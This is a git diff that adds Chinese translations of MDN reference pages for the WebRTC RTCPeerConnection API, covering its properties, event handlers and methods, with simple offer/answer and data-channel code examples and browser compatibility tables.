只读属性,返回一个RTCIdentityAssertion,它由一组信息构成,包括一个域名(idp)以及一个名称(name),它们代表了这条连接的远端机器的身份识别信息。如果远端机器还没有被设置以及校验,这个属性会返回一个null值。一旦被设置,它不能被一般方法改变。
+
+ +

{{domxref("RTCPeerConnection.pendingLocalDescription")}} {{ReadOnlyInline}}

+ +
+
blah
+
{{domxref("RTCPeerConnection.pendingRemoteDescription")}} {{ReadOnlyInline}}
+
blah
+
{{domxref("RTCPeerConnection.remoteDescription")}} {{ReadOnlyInline}}
+
blah
+
{{domxref("RTCPeerConnection.sctp")}} {{ReadOnlyInline}}
+
blah
+
{{domxref("RTCPeerConnection.signalingState")}} {{ReadOnlyInline}}
+
+ +

返回一个RTC通信状态的结构体,这个结构体描述了本地连接的通信状态。这个 状态描述了一个定义连接配置的SDP offer。它包含了下列信息,与{{domxref("MediaStream")}} 类型本地相关的对象的描述,媒体流编码方式或RTP和  RTCP协议的选项 ,以及被ICE服务器收集到的candidates(连接候选者)。当{{domxref("RTCPeerConnection.signalingState")}}的值改变时,对象上的{{event("signalingstatechange")}}事件会被触发。

+ +

基本用法

+ +

一个基本的RTCPeerConnection使用需要协调本地机器以及远端机器的连接,它可以通过在两台机器间生成Session Description的数据交换协议来实现。呼叫方发送一个offer(请求),被呼叫方发出一个answer(应答)来回答请求。双方-呼叫方以及被呼叫方,最开始的时候都要建立他们各自的RTCPeerConnection对象。

+ +
var pc = new RTCPeerConnection();
+pc.onaddstream = function(obj) {
+  var vid = document.createElement("video");
+  document.appendChild(vid);
+  vid.srcObject = obj.stream;
+}
+
+// Helper functions
+function endCall() {
+  var videos = document.getElementsByTagName("video");
+  for (var i = 0; i < videos.length; i++) {
+    videos[i].pause();
+  }
+
+  pc.close();
+}
+
+function error(err) { endCall(); }
+ +
+
呼叫初始化
+
+ +

如果你是呼叫方,你需要初始化一个连接

+ +
// Get a list of friends from a server
+// User selects a friend to start a peer connection with
+navigator.getUserMedia({video: true}, function(stream) {
+  pc.onaddstream({stream: stream});
+  // Adding a local stream won't trigger the onaddstream callback
+  pc.addStream(stream);
+
+  pc.createOffer(function(offer) {
+    pc.setLocalDescription(new RTCSessionDescription(offer), function() {
+      // send the offer to a server to be forwarded to the friend you're calling.
+    }, error);
+  }, error);
+})
+ +
+
呼叫回答
+
+ +

在另一端,你的朋友会从服务器收到offer信息。

+ +
var offer = getOfferFromFriend();
+navigator.getUserMedia({video: true}, function(stream) {
+  pc.onaddstream({stream: stream});
+  pc.addStream(stream);
+
+  pc.setRemoteDescription(new RTCSessionDescription(offer), function() {
+    pc.createAnswer(function(answer) {
+      pc.setLocalDescription(new RTCSessionDescription(answer), function() {
+        // send the answer to a server to be forwarded back to the caller (you)
+      }, error);
+    }, error);
+  }, error);
+})
+
+
+ +
+
处理应答
+
+ +

同时在呼叫发起方,你会收到这个应答(前面被呼叫方发出的answer),你需要将它设置为你的远端连接。

+ +
// pc was set up earlier when we made the original offer
+var offer = getResponseFromFriend();
+pc.setRemoteDescription(new RTCSessionDescription(offer), function() { }, error);
+
+ +

属性

+ +

这个接口从它的父元素中继承属性, {{domxref("EventTarget")}}.

+ +
+
{{domxref("RTCPeerConnection.iceConnectionState")}} {{ReadOnlyInline}}
+
返回一个RTCIceConnectionState类型的结构体,这个结构体描述了连接的ICE连接状态。当这个状态的值改变时,这个对象会触发一个{{event("iceconnectionstatechange")}} 事件。状态可能存在的值如下:
+
+
    +
  • "new": ICE服务器正在收集地址或正在等待远端的candidates(这两种情况可能同时存在)。
  • +
  • "checking": ICE服务器找到了远端的candidates(连接候选者),这些candidates至少有一个,同时ICE服务器在检测这些candidates,尽管它可能还没有找到连接。此刻,ICE服务器可能仍在收集candidates(连接候选者)。
  • +
  • "connected": ICE服务器已经找到了一条可用的适合所有组件的连接,但它仍然在测试更多的远端candidate以提供更好的连接。同时,ICE服务器可能仍在收集candidates。
  • +
  • "completed": ICE服务器已经找到了一条可用的连接,并不再测试远端candidates。
  • +
  • "failed": ICE服务器已经检测了所有的远端candidates,但并没有找到可用的。对一些组件适用的连接可能已经被找到。
  • +
  • "disconnected": 至少一个组件的活跃度检查失败了,这可能是由糟糕的网络环境造成的一个短期状态,它可以被它自身所修复。
  • +
  • "closed": ICE服务器已经关闭,并不再响应请求。
  • +
+
+
{{domxref("RTCPeerConnection.iceGatheringState")}} {{ReadOnlyInline}}
+
返回一个iceGatheringState类型的结构体,它描述了这条连接的ICE收集状态。该状态可能取以下的值: +
    +
  • "new": 对象刚刚被创建,还没有网络化。
  • +
  • "gathering": ICE引擎正在为连接收集candidates(连接候选者)。
  • +
  • "complete": 引擎已经完成了candidates收集。但像添加一个新的接口或者一个新的turn服务器这些事件会导致状态回到"gathering"。
  • +
+
+
{{domxref("RTCPeerConnection.localDescription")}} {{ReadOnlyInline}}
+
返回一个 {{domxref("RTCSessionDescription")}} ,它描述了这条连接的本地端的会话控制(用户会话所需的属性以及配置信息)。如果本地的会话控制还没有被设置,它的值就会是null。
+
{{domxref("RTCPeerConnection.peerIdentity")}} {{ReadOnlyInline}}
+
返回一个RTCIdentityAssertion,它由一组信息构成,包括一个域名(idp)以及一个名称(name),它们代表了这条连接的远端机器的身份识别信息。如果远端机器还没有被设置以及校验,这个属性会返回一个null值。一旦被设置,它不能被一般方法改变。
+
{{domxref("RTCPeerConnection.remoteDescription")}} {{ReadOnlyInline}}
+
返回一个 {{domxref("RTCSessionDescription")}} 它描述了这条连接的远端机器的会话控制,如果远端机器还未被设置,它的值会是null。
+
{{domxref("RTCPeerConnection.signalingState")}} {{ReadOnlyInline}}
+
返回一个RTC通信状态的结构体,这个结构体描述了本地连接的通信状态。这个 状态描述了一个定义连接配置的SDP offer。它包含了下列信息,与{{domxref("MediaStream")}} 类型本地相关的对象的描述,媒体流编码方式或RTP和  RTCP协议的选项 ,以及被ICE服务器收集到的candidates(连接候选者)。当{{domxref("RTCPeerConnection.signalingState")}}的值改变时,对象上的{{event("signalingstatechange")}}事件会被触发。 它可能取下列的值: +
    +
  • "stable": 没有SDP offer/answer正在被交换,连接仍然处于初始化状态。
  • +
  • "have-local-offer": 这条连接的本地端机器已经本地应用了一个SDP offer。
  • +
  • "have-remote-offer": 这条连接的远端机器已经本地应用了一个SDP offer。
  • +
  • "have-local-pranswer": 一个来自远端的SDP offer已经被应用,同时一个SDP pranswer在本地被应用。
  • +
  • "have-remote-pranswer": 一个本地的SDP offer被应用,同时一个SDP pranswer在远端被应用。
  • +
  • "closed": 连接被关闭。
  • +
+
+
+ +

事件处理器

+ +
+
{{domxref("RTCPeerConnection.onaddstream")}}
+
是收到{{event("addstream")}} 事件时调用的事件处理器。 Such an event is 当{{domxref("MediaStream")}} 被远端机器添加到这条连接时,该事件会被触发。 当调用{{domxref("RTCPeerConnection.setRemoteDescription()")}}方法时,这个事件就会被立即触发,它不会等待SDP协商的结果。
+
{{domxref("RTCPeerConnection.ondatachannel")}}
+
是收到{{event("datachannel")}} 事件时调用的事件处理器。 当一个 {{domxref("RTCDataChannel")}} 被添加到连接时,这个事件被触发。
+
{{domxref("RTCPeerConnection.onicecandidate")}}
+
是收到 {{event("icecandidate")}} 事件时调用的事件处理器.。当一个 {{domxref("RTCICECandidate")}} 对象被添加时,这个事件被触发。
+
{{domxref("RTCPeerConnection.oniceconnectionstatechange")}}
+
是收到{{event("iceconnectionstatechange")}}事件时调用的事件处理器 。 当{{domxref("RTCPeerConnection.iceConnectionState", "iceConnectionState")}} 改变时,这个事件被触发。
+
{{domxref("RTCPeerConnection.onidentityresult")}}
+
是收到 {{event("identityresult")}}事件时调用的事件处理器。 当通过{{domxref("RTCPeerConnection.getIdentityAssertion()", "getIdentityAssertion()")}}生成身份断言, 或在生成一个answer或一个offer的过程中,这个事件被触发。
+
{{domxref("RTCPeerConnection.onidpassertionerror")}}
+
是收到 {{event("idpassertionerror")}} 事件时调用的事件处理器。当生成一个身份断言时,如果关联的身份提供者(idP)遇到一个错误,这个事件就会被触发。
+
{{domxref("RTCPeerConnection.onidpvalidationerror")}}
+
是收到 {{event("idpvalidationerror")}} 事件时调用的事件处理器。当检查 一个身份断言时,如果关联的身份提供者(idP)遇到一个错误,这个事件就会被触发。
+
{{domxref("RTCPeerConnection.onnegotiationneeded")}}
+
是收到{{event("negotiationneeded")}} 事件时调用的事件处理器, 浏览器发送该事件以告知在将来某一时刻需要协商。
+
{{domxref("RTCPeerConnection.onpeeridentity")}}
+
是收到{{event("peeridentity")}} 事件时调用的事件处理器, 当一条连接的peer identify被设置以及校验后,该事件被触发
+
{{domxref("RTCPeerConnection.onremovestream")}}
+
是收到{{event("removestream")}} 事件时调用的事件处理器,当一条{{domxref("MediaStream")}} 从连接上移除时,该事件被触发。
+
{{domxref("RTCPeerConnection.onsignalingstatechange")}}
+
是收到{{event("signalingstatechange")}} 事件时调用的事件处理器, 当{{domxref("RTCPeerConnection.signalingState", "signalingState")}}的值发生改变时,该事件被触发。
+
+ +

方法

+ +
+
{{domxref("RTCPeerConnection.RTCPeerConnection", "RTCPeerConnection()")}}
+
RTCPeerConnection的初始化函数,通过 new RTCPeerConnection()初始化一个RTCPeerConnection实例。
+
{{domxref("RTCPeerConnection.createOffer()")}}
+
生成一个offer,它是一个带有特定的配置信息寻找远端匹配机器(peer)的请求。这个方法的前两个参数分别是方法调用成功以及失败的回调函数,可选的第三个参数是用户对视频流以及音频流的定制选项(一个对象)。
+
{{domxref("RTCPeerConnection.createAnswer()")}}
+
在协调一条连接中的两端offer/answers时,根据从远端发来的offer生成一个answer。这个方法的前两个参数分别是方法调用成功以及失败时的回调函数,可选的第三个参数是生成的answer的可供选项。
+
{{domxref("RTCPeerConnection.setLocalDescription()")}}
+
改变与连接相关的本地描述。这个描述定义了连接的属性,例如:连接的编码方式。连接会受到它的改变的影响,而且连接必须能同时支持新的以及旧的描述。这个方法可以接收三个参数,一个{{domxref("RTCSessionDescription")}} 对象包含设置信息,还有两个回调函数,它们分别是方法调用成功以及失败的回调函数。
+
{{domxref("RTCPeerConnection.setRemoteDescription()")}}
+
改变与连接相关的远端描述。这个描述定义了连接的属性,例如:连接的编码方式。连接会受到它的改变的影响,而且连接必须能同时支持新的以及旧的描述。这个方法可以接收三个参数,一个{{domxref("RTCSessionDescription")}} 对象包含设置信息,还有两个回调函数,它们分别是方法调用成功以及失败的回调函数。
+
{{domxref("RTCPeerConnection.updateIce()")}}
+
更新ICE服务器时调用的方法。
+
{{domxref("RTCPeerConnection.addIceCandidate()")}}
+
添加iceCandidate时调用的方法。
+
{{domxref("RTCPeerConnection.getConfiguration()")}}
+
获取配置信息时调用的方法。
+
{{domxref("RTCPeerConnection.getLocalStreams()")}}
+
返回连接的本地媒体流数组。这个数组可能是空数组。
+
{{domxref("RTCPeerConnection.getRemoteStreams()")}}
+
返回连接的远端媒体流数组。这个数组可能是空数组。
+
{{domxref("RTCPeerConnection.getStreamById()")}}
+
返回连接中与所给id匹配的媒体流 {{domxref("MediaStream")}},如果没有匹配项,返回null。
+
{{domxref("RTCPeerConnection.addStream()")}}
+
添加一个媒体流 {{domxref("MediaStream")}}作为本地音频或视频源。如果本地端与远端协调已经发生了,那么需要一个新的媒体流,这样远端才可以使用它。
+
{{domxref("RTCPeerConnection.removeStream()")}}
+
将一个作为本地音频或视频源的媒体流 {{domxref("MediaStream")}}移除。如果本地端与远端协调已经发生了,那么需要一个新的媒体流,这样远端才可以停止使用它。
+
{{domxref("RTCPeerConnection.close()")}}
+
关闭一个RTCPeerConnection实例所调用的方法。
+
{{domxref("RTCPeerConnection.createDataChannel()")}}
+
在一条连接上建立一个新的{{domxref("RTCDataChannel")}}(用于数据发送)。这个方法把一个数据对象作为参数,数据对象中包含必要的配置信息。
+
{{domxref("RTCPeerConnection.createDTMFSender()")}}
+
创建一个新的与特殊的{{domxref("MediaStreamTrack")}}相关的{{domxref("RTCDTMFSender")}},可以在连接上发送{{Glossary("DTMF")}}手机信号。
+
{{domxref("RTCPeerConnection.getStats()")}}
+
生成一个新的{{domxref("RTCStatsReport")}},它包含连接相关的统计信息。
+
{{domxref("RTCPeerConnection.setIdentityProvider()")}}
+
根据所给的三个参数设置身份提供者(IdP),这三个参数是它的名称,通信所使用的协议(可选),以及一个可选的用户名。只有当一个断言被需要时,这个IdP才会被使用。
+
{{domxref("RTCPeerConnection.getIdentityAssertion()")}}
+
初始化身份断言的收集,只有当{{domxref("RTCPeerConnection.signalingState", "signalingState")}}的值不为"closed"时,它才有效。它自动完成,在需求发生前调用它是最好的选择。
+
+ +

构造函数

+ +
new RTCPeerConnection({{domxref("RTCConfiguration")}} configuration, optional {{domxref("MediaConstraints")}} constraints);
+ +
+

注意: PeerConnection需要传递一个RTCConfiguration对象作为参数,如果你没有传递参数的话,火狐浏览器会自动提供一个参数。

+
+ +

方法

+ +

createOffer

+ +

void createOffer({{domxref("RTCSessionDescriptionCallback")}} successCallback, {{domxref("RTCPeerConnectionErrorCallback")}} failureCallback, optional {{domxref("MediaConstraints")}} constraints);

+ +

createOffer方法会生成描述信息的一个blob对象,它会帮助连接到本地机器。当你已经找到一个远端的PeerConnection并且打算设置建立本地的PeerConnection时,你可以使用该方法。

+ +

举例

+ +
var pc = new PeerConnection();
+pc.addStream(video);
+pc.createOffer(function(desc){
+  pc.setLocalDescription(desc, function() {
+    // send the offer to a server that can negotiate with a remote client
+  });
+}
+ +

参数

+ +
+
successCallback(方法调用成功时的回调函数)
+
一个 {{domxref("RTCSessionDescriptionCallback")}} 它会收到一个 {{domxref("RTCSessionDescription")}} 对象作为参数。
+
errorCallback(方法调用失败时的回调函数)
+
一个 {{domxref("RTCPeerConnectionErrorCallback")}} 它会收到一个 {{domxref("DOMError")}} 对象作为参数。
+
[optional] constraints(可选的约束条件)
+
一个可选的{{domxref("MediaConstraints")}} 对象。
+
+ +

createAnswer

+ +

void createAnswer({{domxref("RTCSessionDescriptionCallback")}} successCallback, {{domxref("RTCPeerConnectionErrorCallback")}} failureCallback, optional {{domxref("MediaConstraints")}} constraints)")

+ +

对从远方收到的offer进行回答。

+ +

举例

+ +
var pc = new PeerConnection();
+pc.setRemoteDescription(new RTCSessionDescription(offer), function() {
+  pc.createAnswer(function(answer) {
+    pc.setLocalDescription(answer, function() {
+      // send the answer to the remote connection
+    })
+  })
+});
+ +

参数

+ +
+
successCallback(方法调用成功时的回调函数)
+
一个 {{domxref("RTCSessionDescriptionCallback")}} 它会收到一个 {{domxref("RTCSessionDescription")}} 对象作为参数。
+
errorCallback(方法调用失败时的回调函数)
+
一个 {{domxref("RTCPeerConnectionErrorCallback")}} 它会收到一个{{domxref("DOMError")}} 对象作为参数。
+
[optional] constraints(可选的约束条件)
+
+ +

      一个可选的{{domxref("MediaConstraints")}} 对象。

+ +

updateIce()

+ +

updateIce(optional {{domxref("RTCConfiguration")}} configuration, optional {{domxref("MediaConstraints")}} constraints)

+ +

该方法会更新ICE代理收集本地candidates以及连接云端candidates的进程。如果强制约束条件"IceTransports"存在,那么它会控制ICE代理的工作方式。它可以用于限制接听者对TURN candidates的使用,这样可以避免在请求被应答前泄露位置信息。如果这个方法影响了已经建立的连接,那么它可能导致ICE代理状态的改变以及媒体状态的改变。

+ +

举例

+ +

+
+

addIceCandidate()

+ +

addIceCandidate ({{domxref("RTCIceCandidate")}} candidate, {{domxref("Function")}} successCallback, {{domxref("RTCPeerConnectionErrorCallback")}} failureCallback);

+ +

除了被添加到远端描述之外,只要约束条件"IceTransports" 没有被设置为null,连接检测结果会被发送给新的candidates。如果这个方法影响了已经建立的连接,那么它可能导致ICE代理状态的改变以及媒体状态的改变。

+ +

举例

+ +
  pc.addIceCandidate(new RTCIceCandidate(candidate));
+
+ +

createDataChannel

+ +

{{domxref("RTCDataChannel")}} createDataChannel ({{domxref("DOMString")}} label, optional {{domxref("RTCDataChannelInit")}} dataChannelDict);

+ +

通过peerconnection建立一条数据信道,用于发送非视频音频信息。

+ +

例子

+ +
var pc = new PeerConnection();
+var channel = pc.createDataChannel("Mydata");
+channel.onopen = function(event) {
+  channel.send('sending a message');
+}
+channel.onmessage = function(event) { console.log(event.data); }
+ +

引申阅读

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/onaddstream/index.html b/files/zh-cn/web/api/rtcpeerconnection/onaddstream/index.html new file mode 100644 index 0000000000..1c5a04d575 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/onaddstream/index.html @@ -0,0 +1,103 @@ +--- +title: RTCPeerConnection.onaddstream +slug: Web/API/RTCPeerConnection/onaddstream +translation_of: Web/API/RTCPeerConnection/onaddstream +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

当类型为{{domxref("MediaStreamEvent")}}的{{event("addstream")}} 事件发生时,通过{{domxref("RTCPeerConnection")}}触发RTCPeerConnection.onaddstream 事件处理函数。当远程媒体流{{domxref("MediaStream")}} 添加到连接后发送事件。当{{domxref("RTCPeerConnection.setRemoteDescription()")}} 后此事件立即被调用而不需要等待SDP交换完成。

+ +

语法

+ +
peerconnection.onaddstream = function;
+
+ +

+ + + +

例子

+ +
pc.onaddstream = function(ev) { alert("onaddstream event detected!"); };
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onaddstream', 'RTCPeerConnection.onaddstream') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }} [1]{{ CompatVersionUnknown }} [1]{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] Though this property is not prefixed, the interface it belongs to is.

+ +

扩展阅读

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/ondatachannel/index.html b/files/zh-cn/web/api/rtcpeerconnection/ondatachannel/index.html new file mode 100644 index 0000000000..418f180f79 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/ondatachannel/index.html @@ -0,0 +1,112 @@ +--- +title: RTCPeerConnection.ondatachannel +slug: Web/API/RTCPeerConnection/ondatachannel +translation_of: Web/API/RTCPeerConnection/ondatachannel +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.ondatachannel 属性是一个{{domxref("EventHandler")}},当这个{{event("datachannel")}}事件在{{domxref("RTCPeerConnection")}}发生时,它指定的那个事件处理函数就会被调用。这个事件继承于 {{domxref("RTCDataChannelEvent")}},当远方伙伴调用{{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}}时这个事件被加到这个连接(RTCPeerConnection)中。

+ +

在这个事件被收到的同时,这个{{domxref("RTCDataChannel")}} 实际上并没有打开,确保在open这个事件在RTCDataChannel触发以后才去使用它。

+ +

语法

+ +
RTCPeerConnection.ondatachannel = function;
+
+ +

+ +

将这个属性设置为接受一个参数的函数:这个参数是一个{{domxref("RTCDataChannelEvent")}},它的channel属性是一个已经创建了的{{domxref("RTCDataChannel")}}对象

+ +

示例

+ +
pc.ondatachannel = function(ev) {
+  console.log('Data channel is created!');
+  ev.channel.onopen = function() {
+    console.log('Data channel is open and ready to be used.');
+  };
+};
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-ondatachannel', 'RTCPeerConnection.ondatachannel') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

浏览器支持

+ +

{{ CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown}} [1]{{ CompatGeckoDesktop(18) }} [2]{{ CompatNo}}{{ CompatVersionUnknown}}{{ CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown}}{{ CompatUnknown}}{{ CompatGeckoMobile(22) }} [2]{{ CompatNo}}{{ CompatUnknown}}{{ CompatUnknown}}
+
+ +

[1] Though this property is not prefixed, the interface it belongs to is.

+ +

[2] This property's name isn't prefixed, but the interface it's in, {{domxref("RTCPeerConnection")}}, was prefixed as MozRTCPeerConnection until Firefox 44.

+ +

相关阅读

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/onicecandidate/index.html b/files/zh-cn/web/api/rtcpeerconnection/onicecandidate/index.html new file mode 100644 index 0000000000..6389f53f6a --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/onicecandidate/index.html @@ -0,0 +1,65 @@ +--- +title: RTCPeerConnection.onicecandidate +slug: Web/API/RTCPeerConnection/onicecandidate +translation_of: Web/API/RTCPeerConnection/onicecandidate +--- +

{{APIRef("WebRTC")}}

+ +

 RTCPeerConnection 的属性 {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} (是一个事件触发器 {{domxref("EventHandler")}}) 能够让函数在事件{{event("icecandidate")}}发生在实例  {{domxref("RTCPeerConnection")}} 上时被调用。 只要本地代理{{Glossary("ICE")}} 需要通过信令服务器传递信息给其他对等端时就会触发 这让本地代理与其他对等体相协商而浏览器本身在使用时无需知道任何详细的有关信令技术的细节,只需要简单地应用这种方法就可使用您选择的任何消息传递技术将ICE候选发送到远程对等方。

+ +

Syntax

+ +
rtcPeerConnection.onicecandidate = eventHandler;
+
+ +

Value

+ +

这应该设置为您提供的函数,该函数接受RTCPeerConnectionIceEvent表示icecandidate事件对象作为输入该功能应该通过信令服务器将可以在事件属性中找到SDP的ICE候选者传递candidate给远程对等体。

+ +

如果事件的candidate属性是null,ICE收集已经完成。不应将此消息发送到远程对等方。发生这种情况时,连接iceGatheringState也已更改为complete你不需要明确地注意这一点; 相反,如果你需要感知信令的结束,你应该注意一个icegatheringstatechange事件,表明ICE协商已经转变为complete状态。

+ +

Example

+ +

下面的示例基于文章信令和视频调用中的代码,icecandidate事件设置处理程序,以便将候选项发送到远程对等方。

+ +
pc.onicecandidate = function(event) {
+  if (event.candidate) {
+    // Send the candidate to the remote peer
+  } else {
+    // All ICE candidates have been sent
+  }
+}
+ +

请注意,当检测到协议结束时{{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 属性为 null.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
WebRTC 1.0:浏览器之间的实时通信
+ 该规范中“RTCPeerConnection.onicecandidate”的定义。
{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.RTCPeerConnection.onicecandidate")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/ontrack/index.html b/files/zh-cn/web/api/rtcpeerconnection/ontrack/index.html new file mode 100644 index 0000000000..b92a83228c --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/ontrack/index.html @@ -0,0 +1,106 @@ +--- +title: RTCPeerConnection.ontrack +slug: Web/API/RTCPeerConnection/ontrack +translation_of: Web/API/RTCPeerConnection/ontrack +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}RTCPeerConnection.ontrack 属性是一个 {{domxref("EventHandler")}} 此属性指定了在{{domxref("RTCPeerConnection")}}接口上触发 {{event("track")}} 事件时调用的方法。该方法接收一个{{domxref("RTCTrackEvent")}}类型的event对象,该event对象将在{{domxref("MediaStreamTrack")}}被创建时或者是关联到已被添加到接收集合的{{domxref("RTCRtpReceiver")}}对象中时被发送。

+ +

语法

+ +
RTCPeerConnection.ontrack = eventHandler;
+
+ +

参数

+ +

ontrack设置为你提供的一个输入{{domxref("RTCTrackEvent")}}对象用于描述新的track将如何使用的方法。这一信息包含了代表新track的{{domxref("MediaStreamTrack")}}对象、{{domxref("RTCRtpReceiver")}}对象、{{domxref("RTCRtpTransceiver")}}对象以及一个{{domxref("MediaStream")}}对象列表,该对象列表表示该track是那个媒体流的一部分。

+ +

示例

+ +

本示例,从这篇文章的代码和视频调用的代码中,将传入的轨迹连接到将用于显示传入{{HTMLElement("video")}}元素。

+ +
pc.ontrack = function(event) {
+  document.getElementById("received_video").srcObject = event.streams[0];
+  document.getElementById("hangup-button").disabled = false;
+};
+
+ +

在第一行代码中,我们的ontrack 事件处理器获取传入的第媒体流数组中的第一个,并赋值给video元素的{{htmlattrxref("srcObject", "video")}} 。这样媒体流就和页面中的video元素结合起来以便于呈现给用户。第二行代码简单启用了“挂断”按钮,用户可以使用它去断开呼叫。

+ +

说明

+ + + + + + + + + + + + + + + + +
说明状态注释
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-ontrack', 'RTCPeerConnection.ontrack')}}{{Spec2('WebRTC 1.0')}}初始规范
+ +

各浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatGeckoDesktop(46)}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop(46)}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 在Firefox 45中引入了onaddtrack;在Firefox 46中重命名为ontrack

+ +

参见

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/peeridentity/index.html b/files/zh-cn/web/api/rtcpeerconnection/peeridentity/index.html new file mode 100644 index 0000000000..b1565ae67c --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/peeridentity/index.html @@ -0,0 +1,72 @@ +--- +title: RTCPeerConnection.peerIdentity +slug: Web/API/RTCPeerConnection/peerIdentity +translation_of: Web/API/RTCPeerConnection/peerIdentity +--- +

{{APIRef("WebRTC")}}

+ +

只读属性 {{domxref("RTCPeerConnection")}}  peerIdentity ,返回{{jsxref("Promise")}} 对象,成功时返回 {{domxref("RTCIdentityAssertion")}} ,该结构 {{domxref("DOMString")}} 标识了远端的ID。这个身份标识在连接过程中将不会改变(直到连接结束).

+ +

语法

+ +
 var identity = rtcPeerConnection.peerIdentity;
+ +

Value

+ +

A JavaScript {{jsxref("Promise")}} which resolves to an {{domxref("RTCIdentityAssertion")}} that describes the remote peer's identity.

+ +

当验证远程的身份ID出错时,  promise 将返回拒绝. 如果目标节点身份不存在, peerIdentity 将被设为 一个promise对象,并重启验证过程(一个断言), 直到成功或者不再想继续。

+ +
+

注意: {{domxref("RTCPeerConnection.setRemoteDescription", "setRemoteDescription()")}} 返回的promise 将不会成功返回,除非目标节点身份信息可用。 如不可用,则setRemoteDescription() 将被拒绝. 若无目标节点ID, 就不不需要等setRemoteDescription() 这个返回验证成功了.

+
+ +

举个栗子

+ +

In this example, a function, getIdentityAssertion(), is created which asynchronously waits for the peer's identity to be verified, then returns the identity to the caller. If an error occurs and the promise is rejected, this logs the error to the console and returns null to the caller.

+ +
let pc = new RTCPeerConnection();
+
+/* ... */
+
+async function getIdentityAssertion(pc) {
+  try {
+    const identity = await pc.peerIdentity;
+    return identity;
+  } catch(err) {
+    console.log("Error identifying remote peer: ", err);
+    return null;
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC Identity', '#dom-rtcpeerconnection-peeridentity') }}{{ Spec2('WebRTC Identity') }}Initial specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.RTCPeerConnection.peerIdentity")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/remotedescription/index.html b/files/zh-cn/web/api/rtcpeerconnection/remotedescription/index.html new file mode 100644 index 0000000000..3c619163d6 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/remotedescription/index.html @@ -0,0 +1,71 @@ +--- +title: RTCPeerConnection.remoteDescription +slug: Web/API/RTCPeerConnection/remoteDescription +tags: + - RTCPeerConnection + - WebRTC + - remoteDescription + - 中文 +translation_of: Web/API/RTCPeerConnection/remoteDescription +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

只读属性 RTCPeerConnection.remoteDescription 返回一个 {{domxref("RTCSessionDescription")}} ,它描述了和远程对端之间的会话(包括配置和媒体信息) ,如果还没有被设置过的话,它会是 null.

+ +

这个值通常是通过信令服务器接收的对端的会话描述(作为提议或应答),调用{{domxref("RTCPeerConnection.setRemoteDescription()")}}之后生效。

+ +

语法

+ +
 var sessionDescription = peerConnection.remoteDescription;
+ +

从更基础的层面上看,如果该属性不为null,则返回值为{{domxref("RTCPeerConnection.pendingRemoteDescription")}}的值,否则,返回{{domxref("RTCPeerConnection.currentRemoteDescription")}}的值。有关此算法的详细信息及其使用原因,请参阅{{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}。

+ +

示例

+ +

此示例查看remoteDescription并显示包含{{domxref("RTCSessionDescription")}}对象的typesdp字段的警告。

+ +
var pc = new RTCPeerConnection();
+…
+var sd = pc.remoteDescription;
+if (sd) {
+  alert("Remote session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No remote session yet.");
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + +
